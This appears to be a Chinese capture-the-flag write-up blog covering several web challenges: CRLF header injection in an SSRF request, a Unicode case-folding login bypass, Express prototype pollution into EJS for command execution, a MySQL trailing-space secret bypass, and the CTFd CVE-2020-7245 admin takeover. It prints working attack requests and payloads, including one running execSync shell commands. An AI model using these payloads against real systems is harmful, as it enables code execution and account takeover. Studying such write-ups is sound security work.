然后发包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /renderer/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/renderer/
Content-Type: application/x-www-form-urlencoded
Content-Length: 214
Origin: http://127.0.0.1
Connection: close
Cookie: confluence.browse.space.cookie=space-templates
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

url=http://127.0.0.1/renderer/admin/ticket?ticket=fc75a14b624748a31ddd99ef984df7eaa6781aa9 HTTP/1.1%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aUser-Agent:%20AdminBrowser/1.337%0d%0aHost: 127.0.0.1%0d%0a%0d%0aTEST: 123

为什么第二部发包需要两个%0d%0a呢?

GET模式下HTTP头后的任何内容没有意义。我们正常%0d%0a注入后会剩下一个”HTTP/1.1”,这个内容需要处理掉,否则urllib2会报错。因此我们用第二个%0d%0a强行结束HTTP头部分,那么”HTTP/1.1”会被当作HTTP头结束后的内容出现,GET模式下没有意义,会被丢弃,而我们想注入的头已经在前面布置好了。

GYCTF 2020的BabyPHP(题目上错名字了)。

开题让登陆,随手试了一下www.zip发现还真有源码。。。

index.php没啥,限制后缀名为.php,LFI没用处。login.php Ban了一堆关键字

1
2
3
4
5
6
7
8
9
if(isset($_POST['username'])){
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");
}
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
die("Damn you, hacker!");
}
$user->login();
}
阅读全文 »

2020 i春秋新春公益赛的Ez_express,NodeJS的题。

开题提示我们用ADMIN登录,随便注册一下页面注释提示www.zip。看一下app.js,Express框架的程序,index页面指向routes/index.js。

login路由有点东西:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
router.post('/login', function (req, res) {
if (req.body.Submit == "register") {
if (safeKeyword(req.body.userid)) {
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user = {
'user': req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin': false
}
res.redirect('/');
} else if (req.body.Submit == "login") {
if (!req.session.user) {
res.end("<script>alert('register first');history.go(-1);</script>")
}
if (req.session.user.user == req.body.userid && req.body.pwd == req.session.user.passwd) {
req.session.user.isLogin = true;
} else {
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/');
;
});

safeKeyword()使得我们注册的时候不能用”admin”,而题目又要求我们用admin用户名登录。注意到在register()里用户名特别的加了一步toUppercase()操作,这是干什么用的?

参考这里,Javascript在处理某些语系特定字符的时候会有些意外,我们可以用ı来代替i,除了上文提到的几个,这里还有补充。

因此我们注册一个admın用户即可绕过限制了。然后就让我们提交你最喜欢的语言???

1
2
3
4
5
6
7
router.post('/action', function (req, res) {
if (req.session.user.user != "ADMIN") {
res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")
}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});

我们POST过去的东西被clone()到了req.body对象里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
};
const clone = (a) => {
return merge({}, a);
};

这就涉及到新的知识点了,原型链污染。具体参考这里这里这里。简单来说,JavaScript里绝大部分对象继承了Object对象,例如String对象就继承于String类(function等同于class),又继承于Object对象。那么String对象的原型就是String类,如下图所示:

            graph LR
            A["Object()"]-->|Prototype|B["function String()"]
B-->|Prototype|C["123"]
          

这条继承链就叫做原型链。我们如果在function String()里添加方法或属性,继承它的’123’会添加相同的方法属性。而JavaScript在访问某对象属性或方法时是从原型链起始Object()开始查找,直到最后的目标。因此假设我们为Object()添加了个toUppercase()方法,最后’123’.toUppercase()就会优先调用Object()的toUppercase(),这样toUppercase()就被我们污染了,这种攻击方法就叫原型链污染。注意一点,原型链污染的时候我们需要传入JSON数据,即发包的Content-type要变成application/json,否则__proto__不会覆盖。

回到题目,下面的问题是我们的输入怎样污染呢?注意到在route(‘/‘)的时候有点东西:

1
2
3
4
5
6
7
router.get('/', function (req, res) {
if (!req.session.user) {
res.redirect('/login');
}
res.outputFunctionName = undefined;
res.render('index', data = {'user': req.session.user.user});
});

为什么多出来个outputFunctionName?本题的渲染引擎用的ejs,貌似在刚才的参考文章里提到可以造成RCE。

所以,我们抄一下RCE的Payloada; return global.process.mainModule.constructor._load('child_process').execSync('whoami');。发包吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /action HTTP/1.1
Host: 56419387-98b4-44ea-84fc-e96a717536a1.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 146
Origin: http://56419387-98b4-44ea-84fc-e96a717536a1.node3.buuoj.cn
Connection: close
Referer: http://54830c3c-4435-4ff0-814f-a9cfc97ec6d0.node3.buuoj.cn/
Cookie: _ga=GA1.2.744187123.1582874453; session=s%3AuujbI4q6GPRCu7MQpsxrcvFqt0tTzzAV.jGfKfFz5gfEczv2Yw1LCl1nHqwMEsY2k6Zup91j0X88
Upgrade-Insecure-Requests: 1

{"lua":"aaa","__proto__":{"outputFunctionName":"a;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}}

提交后刷新页面即可得到flag。

flag{3fa89b5f-528d-434b-9ada-e93a864b2969}

FaceBook CTF 2019的Products Manager。给了源码,猜测是SQL注入的题。

开题允许我们查看Top 5的Products,添加自己的商品,或者查看其他人的商品详情,但是需要输入密码。那么盲猜flag在某个商品详情里面。

看一下源码,db.php告诉我们flag在facebook商品里面,我们需要拿到它的密码。db.php包含数据区读写操作,所有的SQL语句都使用了prepare,看来SQL注入废了。我们重点看一下view.php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function handle_post() {
global $_POST;

$name = $_POST["name"];
$secret = $_POST["secret"];

if (isset($name) && $name !== ""
&& isset($secret) && $secret !== "") {
if (check_name_secret($name, hash('sha256', $secret)) === false) {
return "Incorrect name or secret, please try again";
}

$product = get_product($name);

echo "<p>Product details:";
echo "<ul><li>" . htmlentities($product['name']) . "</li>";
echo "<li>" . htmlentities($product['description']) . "</li></ul></p>";
}

return null;
}

过了check_name_secret()后会调用get_product()获得商品信息。问题来了,get_product()里的SQL语句是这么写的SELECT name, description FROM products WHERE name = ?,而name在MySQL中是char(64)类型,对MySQL而言,char和varchar类型有个奇怪的特性。

All MySQL collations are of type PAD SPACE. This means that all CHAR, VARCHAR, and TEXT values are compared without regard to any trailing spaces. “Comparison” in this context does not include the LIKE pattern-matching operator, for which trailing spaces are significant.

https://dev.mysql.com/doc/refman/5.7/en/char.html

使用=比较的时候MySQL会忽略掉字符串后面的空格,所以如果我们传入’facebook ‘,SQL语句变成select name,description from products where name='facebook ';对MySQL而言,等同于select name,description from products where name='facebook';,所以,我们在add.php的handle_post()里传入’facebook ‘,会先进行get_product(),而get_product()错误的返回了’facebook’的数据,因此可以通过重名的检查从而插入了一条’facebook ‘的数据。当我们view的时候,会过check_name_secret(),仍然使用=比较:SELECT name FROM products WHERE name = ? AND secret = ?,MySQL认为’facebook’与’facebook ‘是相同的,因此secret为我们设置的值时select正常返回,这样就可以绕过facebook的secret了。但是get_product()的时候只会返回’facebook’的结果,不会返回’facebook ‘的结果。

所以,Add一个’facebook ‘的Product,secret任意设置。然后view,名称填’facebook’,secret为刚才设置的值,即可拿到flag。

flag{246d6062-dca6-4de4-adbb-5f5a3770b9e6}

BUUOJ上V&N的招新题,涉及到CTFd的一个洞CVE-2020-7245。

开题发现就是个CTFd的页面,随便注册后发现啥都没有,只有个admin用户,看来我们需要得到admin的权限。

之前看CTFd的Release Notes时注意到在2.2.3版本有个security fix,修了个任意用户接管的洞。那就看一下2.2.3和2.2.2版本的diff,到底改了什么。

核心内容是auth.py,看一下register()函数

2.2.2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def register():
errors = get_errors()
if request.method == "POST":
name = request.form["name"]
email_address = request.form["email"]
password = request.form["password"]

name_len = len(name) == 0
names = Users.query.add_columns("name", "id").filter_by(name=name).first()
emails = (
Users.query.add_columns("email", "id")
.filter_by(email=email_address)
.first()
)

2.2.2版本下验证是否已存在用户时通过request.form直接取值,但是在后面又来了段

2.2.2
1
2
3
4
5
6
7
8
9
10
else:
with app.app_context():
user = Users(
name=name.strip(),
email=email_address.lower(),
password=password.strip(),
)
db.session.add(user)
db.session.commit()
db.session.flush()

写入数据库的时候name经过了strip(),所以我们在注册的时候写admin就会造成实际写入库的用户名是admin。再回头看reset_password()

2.2.2
1
2
3
4
5
6
7
8
9
10
11
if request.method == "POST":
user = Users.query.filter_by(name=name).first_or_404()
user.password = request.form["password"].strip()
db.session.commit()
log(
"logins",
format="[{date}] {ip} - successful password reset for {name}",
name=name,
)
db.session.close()
return redirect(url_for("auth.login"))

查询用户的时候直接使用库里的name字段,当我们注册admin (n个空格)的时候重置密码,实际上重置的是admin用户的密码。这样我们就可以任意登录admin用户了。

总结一下,攻击流程如下:

  1. 注册用户为admin (后面加上空格)
  2. 重置密码

在2.2.3版本下,register()函数会首先进行name的strip()

2.2.3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def register():
errors = get_errors()
if request.method == "POST":
name = request.form.get("name", "").strip()
email_address = request.form.get("email", "").strip().lower()
password = request.form.get("password", "").strip()

name_len = len(name) == 0
names = Users.query.add_columns("name", "id").filter_by(name=name).first()
emails = (
Users.query.add_columns("email", "id")
.filter_by(email=email_address)
.first()
)

我们没办法制造出重名的用户,就没办法利用了。
回到题目,BUUOJ里给了邮件服务器mail.buuoj.cn,注册的时候填给的邮箱就行。登录成admin后会发现有一道Hidden的题,下载附件就能看到flag了。

flag{d993d0f0-b9b7-4cb3-9a58-e5f1b1304c1c}